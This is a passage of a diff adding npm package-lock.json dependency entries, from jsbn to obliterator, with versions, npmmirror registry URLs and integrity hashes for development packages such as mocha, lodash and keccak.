"^2.0.1" + } + }, + "jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmmirror.com/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==", + "dev": true, + "peer": true + }, + "json-schema": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==", + "dev": true, + "peer": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "peer": true + }, + "json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==", + "dev": true, + "peer": true + }, + "jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.6" + } + }, + "jsonschema": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/jsonschema/-/jsonschema-1.4.1.tgz", + "integrity": "sha512-S6cATIPVv1z0IlxdN+zUk5EPjkGCdnhN4wVSBlvoUO1tOLJootbo9CquNJmbIh4yikWHiUedhRYrNPn1arpEmQ==", + "dev": true, + "peer": true + }, + "jsprim": { + "version": "1.4.2", + "resolved": "https://registry.npmmirror.com/jsprim/-/jsprim-1.4.2.tgz", + "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==", + "dev": true, + "peer": true, + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.4.0", + "verror": "1.10.0" + } + }, + "keccak": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/keccak/-/keccak-3.0.2.tgz", + "integrity": "sha512-PyKKjkH53wDMLGrvmRGSNWgmSxZOUqbnXwKL9tmgbFYA1iAYqW21kfR7mZXV0MlESiefxQQE9X9fTa3X+2MPDQ==", + "dev": true, + "requires": { + "node-addon-api": "^2.0.0", + "node-gyp-build": "^4.2.0", + "readable-stream": "^3.6.0" + } + }, + "kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "peer": true + }, + "klaw": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/klaw/-/klaw-1.3.1.tgz", + "integrity": "sha512-TED5xi9gGQjGpNnvRWknrwAB1eL5GciPfVFOt3Vk1OJCVDQbzuSfrF3hkUQKlsgKrG1F+0t5W0m+Fje1jIt8rw==", + "dev": true, + "requires": { + "graceful-fs": "^4.1.9" + } + }, + "level": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/level/-/level-8.0.0.tgz", + "integrity": "sha512-ypf0jjAk2BWI33yzEaaotpq7fkOPALKAgDBxggO6Q9HGX2MRXn0wbP1Jn/tJv1gtL867+YOjOB49WaUF3UoJNQ==", + "dev": true, + "requires": { + "browser-level": "^1.0.1", + "classic-level": "^1.2.0" + } + }, + "level-supports": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/level-supports/-/level-supports-4.0.1.tgz", + "integrity": "sha512-PbXpve8rKeNcZ9C1mUicC9auIYFyGpkV9/i6g76tLgANwWhtG2v7I4xNBUlkn3lE2/dZF3Pi0ygYGtLc4RXXdA==", + "dev": true + }, + "level-transcoder": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/level-transcoder/-/level-transcoder-1.0.1.tgz", + "integrity": "sha512-t7bFwFtsQeD8cl8NIoQ2iwxA0CL/9IFw7/9gAjOonH0PWTTiRfY7Hq+Ejbsxh86tXobDQ6IOiddjNYIfOBs06w==", + "dev": true, + "requires": { + "buffer": "^6.0.3", + "module-error": "^1.0.1" + } + }, + "levn": { + "version": "0.3.0", + "resolved": "https://registry.npmmirror.com/levn/-/levn-0.3.0.tgz", + "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", + "dev": true, + "peer": true, + "requires": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + } + }, + "locate-path": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-2.0.0.tgz", + "integrity": "sha512-NCI2kiDkyR7VeEKm27Kda/iQHyKJe1Bu0FlTbYp3CqJu+9IFe9bLyAjMxf5ZDDbEg+iMPzB5zYyUTSm8wVTKmA==", + "dev": true, + "requires": { + "p-locate": "^2.0.0", + "path-exists": "^3.0.0" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmmirror.com/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true + }, + "lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==", + "dev": true, + "peer": true + }, + "lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmmirror.com/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==", + "dev": true, + "peer": true + }, + "log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "requires": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "loupe": { + "version": "2.3.4", + "resolved": "https://registry.npmmirror.com/loupe/-/loupe-2.3.4.tgz", + "integrity": "sha512-OvKfgCC2Ndby6aSTREl5aCCPTNIzlDfQZvZxNUrBrihDhL3xcrYegTblhmEiCrg2kKQz4XsFIaemE5BF4ybSaQ==", + "dev": true, + "peer": true, + "requires": { + "get-func-name": "^2.0.0" + } + }, + "lru_map": { + "version": "0.3.3", + "resolved": "https://registry.npmmirror.com/lru_map/-/lru_map-0.3.3.tgz", + "integrity": "sha512-Pn9cox5CsMYngeDbmChANltQl+5pi6XmTrraMSzhPmMBbmgcxmqWry0U3PGapCU1yB4/LqCcom7qhHZiF/jGfQ==", + "dev": true + }, + "lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "requires": { + "yallist": "^3.0.2" + } + }, + "make-error": { + "version": "1.3.6", + "resolved": "https://registry.npmmirror.com/make-error/-/make-error-1.3.6.tgz", + "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", + "dev": true, + "peer": true + }, + "markdown-table": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/markdown-table/-/markdown-table-1.1.3.tgz", + "integrity": "sha512-1RUZVgQlpJSPWYbFSpmudq5nHY1doEIv89gBtF0s4gW1GF2XorxcA/70M5vq7rLv0a6mhOUccRsqkwhwLCIQ2Q==", + "dev": true, + "peer": true + }, + "mcl-wasm": { + "version": "0.7.9", + "resolved": "https://registry.npmmirror.com/mcl-wasm/-/mcl-wasm-0.7.9.tgz", + "integrity": "sha512-iJIUcQWA88IJB/5L15GnJVnSQJmf/YaxxV6zRavv83HILHaJQb6y0iFyDMdDO0gN8X37tdxmAOrH/P8B6RB8sQ==", + "dev": true + }, + "md5.js": { + "version": "1.3.5", + "resolved": "https://registry.npmmirror.com/md5.js/-/md5.js-1.3.5.tgz", + "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==", + "dev": true, + "requires": { + "hash-base": "^3.0.0", + "inherits": "^2.0.1", + "safe-buffer": "^5.1.2" + } + }, + "memory-level": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/memory-level/-/memory-level-1.0.0.tgz", + "integrity": "sha512-UXzwewuWeHBz5krr7EvehKcmLFNoXxGcvuYhC41tRnkrTbJohtS7kVn9akmgirtRygg+f7Yjsfi8Uu5SGSQ4Og==", + "dev": true, + "requires": { + "abstract-level": "^1.0.0", + "functional-red-black-tree": "^1.0.1", + "module-error": "^1.0.1" + } + }, + "memorystream": { + "version": "0.3.1", + "resolved": "https://registry.npmmirror.com/memorystream/-/memorystream-0.3.1.tgz", + "integrity": "sha512-S3UwM3yj5mtUSEfP41UZmt/0SCoVYUcU1rkXv+BQ5Ig8ndL4sPoJNBUJERafdPb5jjHJGuMgytgKvKIf58XNBw==", + "dev": true + }, + "merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "peer": true + }, + "micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmmirror.com/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "peer": true, + "requires": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + } + }, + "mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "peer": true + }, + "mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "peer": true, + "requires": { + "mime-db": "1.52.0" + } + }, + "minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", + "dev": true + }, + "minimalistic-crypto-utils": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", + "integrity": "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg==", + "dev": true + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "1.2.6", + "resolved": "https://registry.npmmirror.com/minimist/-/minimist-1.2.6.tgz", + "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==", + "dev": true, + "peer": true + }, + "mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "peer": true, + "requires": { + "minimist": "^1.2.6" + } + }, + "mnemonist": { + "version": "0.38.5", + "resolved": "https://registry.npmmirror.com/mnemonist/-/mnemonist-0.38.5.tgz", + "integrity": "sha512-bZTFT5rrPKtPJxj8KSV0WkPyNxl72vQepqqVUAW2ARUpUSF2qXMB6jZj7hW5/k7C1rtpzqbD/IIbJwLXUjCHeg==", + "dev": true, + "requires": { + "obliterator": "^2.0.0" + } + }, + "mocha": { + "version": "10.0.0", + "resolved": "https://registry.npmmirror.com/mocha/-/mocha-10.0.0.tgz", + "integrity": "sha512-0Wl+elVUD43Y0BqPZBzZt8Tnkw9CMUdNYnUsTfOM1vuhJVZL+kiesFYsqwBkEEuEixaiPe5ZQdqDgX2jddhmoA==", + "dev": true, + "requires": { + "@ungap/promise-all-settled": "1.1.2", + "ansi-colors": "4.1.1", + "browser-stdout": "1.3.1", + "chokidar": "3.5.3", + "debug": "4.3.4", + "diff": "5.0.0", + "escape-string-regexp": "4.0.0", + "find-up": "5.0.0", + "glob": "7.2.0", + "he": "1.2.0", + "js-yaml": "4.1.0", + "log-symbols": "4.1.0", + "minimatch": "5.0.1", + "ms": "2.1.3", + "nanoid": "3.3.3", + "serialize-javascript": "6.0.0", + "strip-json-comments": "3.1.1", + "supports-color": "8.1.1", + "workerpool": "6.2.1", + "yargs": "16.2.0", + "yargs-parser": "20.2.4", + "yargs-unparser": "2.0.0" + }, + "dependencies": { + "ansi-colors": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-4.1.1.tgz", + "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==", + "dev": true + }, + "brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "requires": { + "balanced-match": "^1.0.0" + } + }, + "escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true + }, + "find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "requires": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "requires": { + "p-locate": "^5.0.0" + } + }, + "minimatch": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-5.0.1.tgz", + "integrity": "sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==", + "dev": true, + "requires": { + "brace-expansion": "^2.0.1" + } + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "requires": { + "yocto-queue": "^0.1.0" + } + }, + "p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "requires": { + "p-limit": "^3.0.2" + } + }, + "path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true + }, + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "module-error": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/module-error/-/module-error-1.0.2.tgz", + "integrity": "sha512-0yuvsqSCv8LbaOKhnsQ/T5JhyFlCYLPXK3U2sgV10zoKQwzs/MyfuQUOZQ1V/6OCOJsK/TRgNVrPuPDqtdMFtA==", + "dev": true + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "nanoid": { + "version": "3.3.3", + "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.3.tgz", + "integrity": "sha512-p1sjXuopFs0xg+fPASzQ28agW1oHD7xDsd9Xkf3T15H3c/cifrFHVwrh74PdoklAPi+i7MdRsE47vm2r6JoB+w==", + "dev": true + }, + "napi-macros": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/napi-macros/-/napi-macros-2.0.0.tgz", + "integrity": "sha512-A0xLykHtARfueITVDernsAWdtIMbOJgKgcluwENp3AlsKN/PloyO10HtmoqnFAQAcxPkgZN7wdfPfEd0zNGxbg==", + "dev": true + }, + "neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmmirror.com/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true, + "peer": true + }, + "node-addon-api": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/node-addon-api/-/node-addon-api-2.0.2.tgz", + "integrity": "sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA==", + "dev": true + }, + "node-emoji": { + "version": "1.11.0", + "resolved": "https://registry.npmmirror.com/node-emoji/-/node-emoji-1.11.0.tgz", + "integrity": "sha512-wo2DpQkQp7Sjm2A0cq+sN7EHKO6Sl0ctXeBdFZrL9T9+UywORbufTcTZxom8YqpLQt/FqNMUkOpkZrJVYSKD3A==", + "dev": true, + "peer": true, + "requires": { + "lodash": "^4.17.21" + } + }, + "node-environment-flags": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/node-environment-flags/-/node-environment-flags-1.0.6.tgz", + "integrity": "sha512-5Evy2epuL+6TM0lCQGpFIj6KwiEsGh1SrHUhTbNX+sLbBtjidPZFAnVK9y5yU1+h//RitLbRHTIMyxQPtxMdHw==", + "dev": true, + "peer": true, + "requires": { + "object.getownpropertydescriptors": "^2.0.3", + "semver": "^5.7.0" + }, + "dependencies": { + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true, + "peer": true + } + } + }, + "node-gyp-build": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/node-gyp-build/-/node-gyp-build-4.5.0.tgz", + "integrity": "sha512-2iGbaQBV+ITgCz76ZEjmhUKAKVf7xfY1sRl4UiKQspfZMH2h06SyhNsnSVy50cwkFQDGLyif6m/6uFXHkOZ6rg==", + "dev": true + }, + "nofilter": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/nofilter/-/nofilter-1.0.4.tgz", + "integrity": "sha512-N8lidFp+fCz+TD51+haYdbDGrcBWwuHX40F5+z0qkUjMJ5Tp+rdSuAkMJ9N9eoolDlEVTf6u5icM+cNKkKW2mA==", + "dev": true, + "peer": true + }, + "nopt": { + "version": "3.0.6", + "resolved": "https://registry.npmmirror.com/nopt/-/nopt-3.0.6.tgz", + "integrity": "sha512-4GUt3kSEYmk4ITxzB/b9vaIDfUVWN/Ml1Fwl11IlnIG2iaJ9O6WXZ9SrYM9NLI8OCBieN2Y8SWC2oJV0RQ7qYg==", + "dev": true, + "peer": true, + "requires": { + "abbrev": "1" + } + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true + }, + "number-to-bn": { + "version": "1.7.0", + "resolved": "https://registry.npmmirror.com/number-to-bn/-/number-to-bn-1.7.0.tgz", + "integrity": "sha512-wsJ9gfSz1/s4ZsJN01lyonwuxA1tml6X1yBDnfpMglypcBRFZZkus26EdPSlqS5GJfYddVZa22p3VNb3z5m5Ig==", + "dev": true, + "peer": true, + "requires": { + "bn.js": "4.11.6", + "strip-hex-prefix": "1.0.0" + }, + "dependencies": { + "bn.js": { + "version": "4.11.6", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.11.6.tgz", + "integrity": "sha512-XWwnNNFCuuSQ0m3r3C4LE3EiORltHd9M05pq6FOlVeiophzRbMo50Sbz1ehl8K3Z+jw9+vmgnXefY1hz8X+2wA==", + "dev": true, + "peer": true + } + } + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmmirror.com/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", + "dev": true, + "peer": true + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "peer": true + }, + "object-inspect": { + "version": "1.12.2", + "resolved": "https://registry.npmmirror.com/object-inspect/-/object-inspect-1.12.2.tgz", + "integrity": "sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ==", + "dev": true + }, + "object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "peer": true + }, + "object.assign": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/object.assign/-/object.assign-4.1.0.tgz", + "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", + "dev": true, + "peer": true, + "requires": { + "define-properties": "^1.1.2", + "function-bind": "^1.1.1", + "has-symbols": "^1.0.0", + "object-keys": "^1.0.11" + } + }, + "object.getownpropertydescriptors": { + "version": "2.1.4", + "resolved": "https://registry.npmmirror.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.4.tgz", + "integrity": "sha512-sccv3L/pMModT6dJAYF3fzGMVcb38ysQ0tEE6ixv2yXJDtEIPph268OlAdJj5/qZMZDq2g/jqvwppt36uS/uQQ==", + "dev": true, + "peer": true, + "requires": { + "array.prototype.reduce": "^1.0.4", + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.1" + } + }, + "obliterator": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/obliterator/-/obliterator-2.0.4.tgz", + "integrity": 